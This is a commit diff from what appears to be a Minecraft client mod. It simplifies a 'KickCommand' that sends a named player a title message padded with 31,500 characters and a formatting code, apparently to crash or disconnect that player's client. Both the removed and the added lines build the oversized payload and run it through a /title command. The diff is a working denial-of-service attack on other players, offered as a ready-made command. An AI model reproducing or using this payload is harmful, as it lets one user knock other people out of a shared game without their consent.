Simplify the kick
This commit is contained in:
parent
0560bd9673
commit
af4d014b87
1 changed files with 2 additions and 13 deletions
|
@ -24,19 +24,8 @@ public class KickCommand {
|
|||
|
||||
public static int run (CommandContext<FabricClientCommandSource> context) {
|
||||
|
||||
final String payloadStart = "uwu\u00a7k";
|
||||
|
||||
final String payloadEnd = "uwu";
|
||||
|
||||
final StringBuffer payload = new StringBuffer();
|
||||
payload.append(payloadStart);
|
||||
|
||||
for(int i = 0; i < 31500; i++) {
|
||||
payload.append("猫");
|
||||
}
|
||||
|
||||
payload.append(payloadEnd);
|
||||
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\"");
|
||||
final String payload = "uwu\u00a7k" + "猫".repeat(31500) + "\u00a7r:3";
|
||||
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload + "\"");
|
||||
|
||||
return Command.SINGLE_SUCCESS;
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue